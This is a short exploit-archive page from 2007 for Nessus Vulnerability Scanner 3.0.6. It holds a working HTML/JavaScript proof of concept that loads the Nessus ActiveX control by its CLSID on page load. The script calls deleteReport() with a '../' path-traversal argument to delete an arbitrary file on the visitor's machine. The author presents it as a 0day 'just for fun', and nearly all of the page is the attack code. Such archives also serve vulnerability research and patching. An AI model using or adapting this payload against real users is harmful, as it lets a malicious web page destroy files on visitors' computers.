Nessus Vulnerability Scanner 3.0.6 ActiveX Remote Delete File Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Nessus Vulnerability Scanner 3.0.6 ActiveX Remote Delete File Exploit
# Published : 2007-07-26
# Author : h07
# Previous Title : IPSwitch IMail Server 2006 9.10 SUBSCRIBE Remote Overflow Exploit
# Next Title : IPSwitch IMail Server 2006 SEARCH Remote Stack Overflow Exploit

<HTML>
<!--
Nessus Vulnerability Scanner 3.0.6 ActiveX deleteReport() 0day Remote Delete File Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
-->

<object id="obj" classid="clsid:A47D5315-321D-4DEE-9DB3-18438023193B"></object>

<script language="javascript">
obj.deleteReport("../../../../../../../test.txt"); //Deleting file: C:test.txt
alert("done");
</script>
</HTML>

# www.Syue.com [2007-07-26]